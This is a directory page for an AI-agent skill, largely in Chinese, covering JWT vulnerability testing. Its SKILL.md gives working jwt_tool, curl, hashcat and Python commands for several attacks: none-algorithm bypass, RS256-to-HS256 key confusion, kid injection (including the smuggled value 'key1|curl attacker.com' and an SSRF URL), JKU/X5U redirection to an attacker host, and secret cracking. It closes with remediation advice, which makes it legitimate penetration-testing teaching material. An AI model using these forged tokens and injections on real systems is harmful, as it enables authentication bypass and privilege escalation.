testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
Best use case
testing-for-json-web-token-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
Teams using testing-for-json-web-token-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/testing-for-json-web-token-vulnerabilities/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How testing-for-json-web-token-vulnerabilities Compares
| Feature / Agent | testing-for-json-web-token-vulnerabilities | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 测试 JSON Web Token 漏洞(Testing for JSON Web Token Vulnerabilities)
## 适用场景
- 测试使用 JWT 进行认证和会话管理的应用程序
- 对使用 JWT 进行授权的 API 进行安全评估
- 评估使用 JWT 的 OAuth 2.0 或 OpenID Connect 实现
- 对单点登录(SSO)系统进行渗透测试
- 审计 JWT 库配置中的已知漏洞
## 前置条件
- jwt_tool(Python JWT 利用工具包)
- Burp Suite 及 JWT Editor 扩展
- jwt.io(用于解码和检查 JWT 结构)
- 了解 JWT 结构(header.payload.signature)和算法(HS256、RS256)
- hashcat 或 john(用于暴力破解弱 JWT 密钥)
- Python PyJWT 库(用于自定义 JWT 伪造脚本)
- 能够访问使用基于 JWT 认证的应用程序
## 工作流程
### 步骤 1 — 解码并分析 JWT 结构
```bash
# 安装 jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# 在不验证的情况下解码 JWT
python3 jwt_tool.py <JWT_TOKEN>
# 使用 base64 手动解码
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# 在 jwt.io 中检查 JWT
# 检查:算法(alg)、密钥 ID(kid)、发行者(iss)、受众(aud)
# 检查:过期时间(exp)、不早于(nbf)、声明(role、admin 等)
# JWT 头部检查示例
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# 注意查找:alg、kid、jku、jwk、x5u、x5c 头部
```
### 步骤 2 — 测试"none"算法绕过
```bash
# 将算法改为"none"并移除签名
python3 jwt_tool.py <JWT_TOKEN> -X a
# 手动 none 算法攻击:
# 原始头部:{"alg":"HS256","typ":"JWT"}
# 修改后头部:{"alg":"none","typ":"JWT"}
# 编码新头部,保留 payload,移除签名(最后一个点后为空字符串)
# 尝试以下变体:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# 发送伪造的 Token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool 自动化 none 攻击
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
```
### 步骤 3 — 测试算法混淆(RS256 转 HS256)
```bash
# 若服务器使用 RS256,尝试使用公钥作为 HMAC 密钥切换至 HS256
# 步骤 1:获取公钥
# 从 JWKS 端点获取
curl http://target.com/.well-known/jwks.json
# 从 SSL 证书获取
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# 步骤 2:使用公钥作为 HMAC 密钥伪造 Token
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# 手动算法混淆:
# 将头部从 {"alg":"RS256"} 改为 {"alg":"HS256"}
# 使用公钥通过 HMAC-SHA256 签名
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
```
### 步骤 4 — 测试密钥 ID(kid)参数注入
```bash
# 通过 kid 进行 SQL 注入
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# 通过 kid 进行路径遍历
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# kid 指向空文件(使用空字符串签名)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# 通过 kid 实现 SSRF(若 kid 获取远程密钥)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# 通过 kid 进行命令注入(罕见但可能)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
```
### 步骤 5 — 测试 JKU/X5U 头部注入
```bash
# JKU(JSON Web Key Set URL)注入
# 将 jku 指向攻击者控制的 JWKS
# 步骤 1:生成密钥对
python3 jwt_tool.py <JWT_TOKEN> -X s
# 步骤 2:在攻击者服务器上托管 JWKS
# jwt_tool 生成 jwks.json - 将其托管在 http://attacker.com/.well-known/jwks.json
# 步骤 3:修改 JWT 头部,指向攻击者 JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
# X5U(X.509 证书 URL)注入
# 与 JKU 类似,但使用 X.509 证书链
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
# 嵌入式 JWK 攻击(在 JWT 头部注入密钥)
python3 jwt_tool.py <JWT_TOKEN> -X i
```
### 步骤 6 — 暴力破解弱 JWT 密钥
```bash
# 使用 hashcat 暴力破解 HMAC 密钥
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
# 使用 jwt_tool 字典攻击
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# 使用 john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# 常见弱密钥尝试:
# secret, password, 123456, admin, test, key, jwt_secret
# 也可尝试:应用名称、公司名称、域名
# 找到密钥后,伪造任意 Token
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
-I -pc role -pv admin -pc sub -pv "admin@target.com"
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| 算法混淆(Algorithm Confusion) | 使用公钥作为 HMAC 密钥,从非对称(RS256)切换到对称(HS256) |
| None 算法(None Algorithm) | 将 alg 设为"none"以创建未签名的 Token,被配置不当的服务器接受 |
| kid 注入(Kid Injection) | 利用密钥 ID 头部参数进行 SQLi、路径遍历或 SSRF |
| JKU/X5U 注入(JKU/X5U Injection) | 将密钥源 URL 指向攻击者控制的服务器以替换密钥 |
| 弱密钥(Weak Secret) | 可通过字典攻击暴力破解的 HMAC 密钥 |
| 声明篡改(Claim Tampering) | 在绕过签名验证后修改 Payload 声明(role、sub、admin) |
| Token 重放(Token Replay) | 在预期会话应已过期后,重复使用有效的 JWT |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| jwt_tool | 全面的 JWT 测试与利用工具包 |
| JWT Editor(Burp) | 用于 JWT 操控和攻击自动化的 Burp Suite 扩展 |
| hashcat | GPU 加速的 JWT 密钥暴力破解(模式 16500) |
| john the ripper | 基于 CPU 的 JWT 密钥破解 |
| jwt.io | 用于检查的在线 JWT 解码器和调试器 |
| PyJWT | 用于编程方式创建和验证 JWT 的 Python 库 |
## 常见场景
1. **None 算法绕过** — 将 JWT 算法改为"none",移除签名,在接受未签名 JWT 的服务器上伪造管理员 Token
2. **算法混淆攻击** — 使用泄露的公钥将 RS256 切换为 HS256,伪造任意 Token 以获取管理权限
3. **kid SQL 注入** — 在 kid 参数中注入 SQL Payload,从数据库中提取签名密钥
4. **弱密钥破解** — 使用 hashcat 暴力破解 HMAC-SHA256 密钥,为任意用户伪造 JWT
5. **JKU 服务器欺骗** — 将 JKU 头部指向攻击者控制的 JWKS 端点,使用攻击者私钥签署 Token
## 输出格式
```
## JWT 安全评估报告
- **目标**:http://target.com
- **JWT 算法**:RS256(声明)
- **JWKS 端点**:http://target.com/.well-known/jwks.json
### 发现
| # | 漏洞 | 技术 | 影响 | 严重性 |
|---|--------------|-----------|--------|----------|
| 1 | 接受 none 算法 | alg: "none" | 认证绕过 | Critical |
| 2 | 算法混淆 | RS256 -> HS256 | Token 伪造 | Critical |
| 3 | 弱 HMAC 密钥 | 暴力破解:"secret123" | 完全 Token 伪造 | Critical |
| 4 | kid 路径遍历 | kid: "../../dev/null" | 使用空密钥签名 | High |
### 修复建议
- 在 JWT 验证中强制执行算法白名单(拒绝"none")
- 使用非对称算法(RS256/ES256)并妥善管理密钥
- 对 HMAC 算法使用强随机密钥(256 位以上)
- 将 kid 参数验证为严格的允许列表
- 忽略 jku/x5u 头部,或仅验证已知端点
- 设置适当的 Token 过期时间(exp)并实施 Token 吊销
```Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
testing-websocket-api-security
测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。
testing-oauth2-implementation-flaws
测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。
testing-mobile-api-authentication
测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。
testing-jwt-token-security
在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-sensitive-data-exposure
在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-host-header-injection
测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。